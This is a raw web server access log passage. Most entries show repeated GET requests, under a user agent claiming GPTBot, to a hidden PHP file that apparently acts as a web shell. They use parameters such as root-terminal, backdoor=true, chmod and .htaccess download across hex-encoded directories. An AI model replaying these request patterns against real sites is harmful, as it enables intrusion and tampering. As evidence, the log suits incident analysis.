GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:33 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3080 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:35 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473 HTTP/2" 200 3099 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:36 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770&download=.htaccess HTTP/2" 200 517 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:39 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3100 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:40 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770&download=snCaPhB.php HTTP/2" 200 3176 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:42 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b73 HTTP/2" 200 3209 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:44 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:46 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770 HTTP/2" 200 3281 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:48 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f77702f&f=.htaccess HTTP/2" 200 3497 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:50 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770 HTTP/2" 200 3304 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:52 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770 HTTP/2" 200 3170 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:53 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770 HTTP/2" 200 3299 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:55 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770 HTTP/2" 200 3277 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:58 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770&rename=.htaccess HTTP/2" 200 3277 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:00 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=snCaPhB.php&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770 HTTP/2" 200 3272 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:03 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f77702f&f=snCaPhB.php HTTP/2" 200 155407 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:05 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770&rename=snCaPhB.php HTTP/2" 200 3281 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:08 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770 HTTP/2" 200 3285 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:10 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a636678656473&rename=wp-content HTTP/2" 200 3184 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:12 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3213 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:14 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3186 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:16 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473 HTTP/2" 200 3239 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:18 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:20 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3198 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:22 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3205 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:24 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3133 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:25 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3219 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:27 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b73 HTTP/2" 200 3214 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:29 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770&rename=prHCAMqyQ.php HTTP/2" 200 3340 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:31 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770&download=.htaccess HTTP/2" 200 517 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:33 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770&download=.htaccess HTTP/2" 200 517 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:34 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770&download=snCaPhB.php HTTP/2" 200 3174 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:36 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770&download=prHCAMqyQ.php HTTP/2" 200 3212 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:38 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3212 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:39 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f77702f&f=.htaccess HTTP/2" 200 3649 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:41 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3305 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:42 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770&rename=.htaccess HTTP/2" 200 3333 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:44 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770&rename=.htaccess HTTP/2" 200 3342 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:47 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3314 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:49 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3358 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:50 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3343 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:52 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3332 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:53 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3329 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:55 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3211 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:57 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3204 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:20:59 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3321 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:01 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f77702f&f=.htaccess HTTP/2" 200 3505 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:03 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3330 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:04 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3326 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:07 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f77702f&f=prHCAMqyQ.php HTTP/2" 200 5279 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:09 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3201 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:11 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3341 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:13 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3193 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:15 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b73 HTTP/2" 200 3205 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:17 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b73 HTTP/2" 200 3135 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:18 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b&rename=wp HTTP/2" 200 3183 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:21 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3220 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:22 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b73&rename=wp HTTP/2" 200 3224 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.233.210.129 - - [17/Nov/2025:12:21:23 +0000] "GET /assets/backuply/includes/includes/css/blocks/wp/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 